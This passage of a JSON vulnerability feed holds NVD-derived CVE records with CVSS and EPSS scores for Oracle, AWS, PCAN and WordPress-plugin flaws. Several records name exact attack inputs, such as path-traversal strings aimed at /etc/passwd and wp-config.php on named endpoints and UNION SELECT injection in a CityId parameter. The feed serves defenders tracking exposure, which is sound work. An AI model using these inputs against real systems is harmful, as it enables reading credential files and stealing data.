CVE-2026-101390","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101390","type":"primary","publishedAt":"2026-10-20T22:17:46.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101390&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101390, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101388","cveId":"CVE-2026-101388","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Portal).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Portal).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Portal).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:46.517Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101388","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.0038,"percentile":0.3169,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101388&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101388","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101388","type":"primary","publishedAt":"2026-10-20T22:17:46.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101388&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101388, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101387","cveId":"CVE-2026-101387","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data as well as  unauthorized update, insert or delete access to some of Oracle Capacity accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Capacity. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).","detail":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data as well as  unauthorized update, insert or delete access to some of Oracle Capacity accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Capacity. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:46.397Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101387","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00323,"percentile":0.25145,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101387&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101387","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101387","type":"primary","publishedAt":"2026-10-20T22:17:46.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101387&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101387, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112407","cveId":"CVE-2026-112407","aliases":[],"kind":"vulnerability","title":"Incorrect privilege assignment in the IAM policy of AWS CICD-toolchain-for-serverless-applications 1.0.7 through 1.0.10 allows remote authenticated users with push access to the...","summary":"Incorrect privilege assignment in the IAM policy of AWS CICD-toolchain-for-serverless-applications 1.0.7 through 1.0.10 allows remote authenticated users with push access to the application source repository to escalate privileges and access or modify resources outside the application stack in the same AWS account via application templates deployed by the toolchain pipeline.\n\n\n\nTo remediate this issue, users should upgrade existing toolchain stacks to version 1.0.11 or later.","detail":"Incorrect privilege assignment in the IAM policy of AWS CICD-toolchain-for-serverless-applications 1.0.7 through 1.0.10 allows remote authenticated users with push access to the application source repository to escalate privileges and access or modify resources outside the application stack in the same AWS account via application templates deployed by the toolchain pipeline.\n\n\n\nTo remediate this issue, users should upgrade existing toolchain stacks to version 1.0.11 or later.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:17.773Z","updatedAt":"2026-10-22T17:29:28.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112407","asOf":"2026-10-22T17:29:28.470Z"},"epss":{"probability":0.00345,"percentile":0.27751,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112407&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112407","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112407","type":"primary","publishedAt":"2026-10-20T21:17:17.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112407&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112407, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103672","cveId":"CVE-2026-103672","aliases":[],"kind":"vulnerability","title":"The PEAK-System PCAN parser indexes a length table using attacker-controlled DLC without enforcing DLC <= 0x0f, then copies attacker payload from record+0x1c into a fixed-size...","summary":"The PEAK-System PCAN parser indexes a length table using attacker-controlled DLC without enforcing DLC <= 0x0f, then copies attacker payload from record+0x1c into a fixed-size stack destination.","detail":"The PEAK-System PCAN parser indexes a length table using attacker-controlled DLC without enforcing DLC <= 0x0f, then copies attacker payload from record+0x1c into a fixed-size stack destination.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:14.843Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103672","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00126,"percentile":0.02255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103672&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103672","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103672","type":"primary","publishedAt":"2026-10-20T21:17:14.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103672&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103672, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-20104","cveId":"CVE-2016-20104","aliases":[],"kind":"vulnerability","title":"EyeLock nano NXT 3.05.1193, 3.04.1108, 3.03.944, and 3.01.646 contain a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the 'path'...","summary":"EyeLock nano NXT 3.05.1193, 3.04.1108, 3.03.944, and 3.01.646 contain a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the 'path' parameter. Attackers can send GET requests to /scripts/logdownload.php with traversal sequences like ../../etc/passwd, which readfile() returns unvalidated, disclosing local system files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.","detail":"EyeLock nano NXT 3.05.1193, 3.04.1108, 3.03.944, and 3.01.646 contain a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the 'path' parameter. Attackers can send GET requests to /scripts/logdownload.php with traversal sequences like ../../etc/passwd, which readfile() returns unvalidated, disclosing local system files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:14.193Z","updatedAt":"2026-10-23T16:16:50.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-20104","asOf":"2026-10-23T16:16:50.360Z"},"epss":{"probability":0.00613,"percentile":0.4906,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-20104&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2016-20104","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-20104","type":"primary","publishedAt":"2026-10-20T21:17:14.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-20104&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-20104, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-20103","cveId":"CVE-2016-20103","aliases":[],"kind":"vulnerability","title":"Cherry Plugin for WordPress before 1.2.7 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the 'file' parameter.","summary":"Cherry Plugin for WordPress before 1.2.7 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the 'file' parameter. Attackers can send GET requests to /admin/import-export/download-content.php with traversal sequences like ../../../../../wp-config.php to read database credentials, since the script passes input directly to readfile(). Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.","detail":"Cherry Plugin for WordPress before 1.2.7 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the 'file' parameter. Attackers can send GET requests to /admin/import-export/download-content.php with traversal sequences like ../../../../../wp-config.php to read database credentials, since the script passes input directly to readfile(). Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:14.043Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-20103","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00389,"percentile":0.32769,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-20103&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2016-20103","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-20103","type":"primary","publishedAt":"2026-10-20T21:17:14.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-20103&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-20103, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-20100","cveId":"CVE-2016-20100","aliases":[],"kind":"vulnerability","title":"Memphis Documents Library plugin for WordPress before 3.1.6 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the...","summary":"Memphis Documents Library plugin for WordPress before 3.1.6 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the mdocs-img-preview parameter. Attackers can send GET requests with traversal sequences to mdocs_img_preview() in mdocs-downloads.php to download wp-config.php containing database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-22.","detail":"Memphis Documents Library plugin for WordPress before 3.1.6 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the mdocs-img-preview parameter. Attackers can send GET requests with traversal sequences to mdocs_img_preview() in mdocs-downloads.php to download wp-config.php containing database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-22.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:13.520Z","updatedAt":"2026-10-23T03:16:30.053Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-20100","asOf":"2026-10-23T03:16:30.053Z"},"epss":{"probability":0.00528,"percentile":0.44384,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-20100&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2016-20100","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-20100","type":"primary","publishedAt":"2026-10-20T21:17:13.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-20100&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-20100, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-20128","cveId":"CVE-2015-20128","aliases":[],"kind":"vulnerability","title":"FooSun DotNetCMS 1.0 and 2.0 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate MSSQL queries through the CityId parameter.","summary":"FooSun DotNetCMS 1.0 and 2.0 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate MSSQL queries through the CityId parameter. Attackers can send GET requests to /user/City_ajax.aspx with UNION SELECT payloads in CityId, concatenated unsanitized into the sys_City query, to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.","detail":"FooSun DotNetCMS 1.0 and 2.0 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate MSSQL queries through the CityId parameter. Attackers can send GET requests to /user/City_ajax.aspx with UNION SELECT payloads in CityId, concatenated unsanitized into the sys_City query, to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:13.357Z","updatedAt":"2026-10-23T16:16:50.197Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-20128","asOf":"2026-10-23T16:16:50.197Z"},"epss":{"probability":0.00339,"percentile":0.27039,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-20128&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2015-20128","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-20128","type":"primary","publishedAt":"2026-10-20T21:17:13.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-20128&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-20128, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-20125","cveId":"CVE-2015-20125","aliases":[],"kind":"vulnerability","title":"Aspose PDF Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download files through the unsanitized 'file'...","summary":"Aspose PDF Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download files through the unsanitized 'file' parameter passed to readfile(). Attackers can send GET requests to aspose_pdf_exporter_download.php with traversal sequences like ../../../wp-config.php to retrieve WordPress database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.","detail":"Aspose PDF Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download files through the unsanitized 'file' parameter passed to readfile(). Attackers can send GET requests to aspose_pdf_exporter_download.php with traversal sequences like ../../../wp-config.php to retrieve WordPress database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:13.210Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-20125","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00412,"percentile":0.35202,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-20125&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2015-20125","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-20125","type":"primary","publishedAt":"2026-10-20T21:17:13.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-20125&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-20125, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-20124","cveId":"CVE-2015-20124","aliases":[],"kind":"vulnerability","title":"Aspose Importer & Exporter plugin for WordPress before 3.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the...","summary":"Aspose Importer & Exporter plugin for WordPress before 3.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the unsanitized 'file' parameter. Attackers can send GET requests to aspose_import_export_download.php with traversal sequences like ../../../wp-config.php to read database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.","detail":"Aspose Importer & Exporter plugin for WordPress before 3.0 contains a path traversal vulnerability that allows unauthenticated 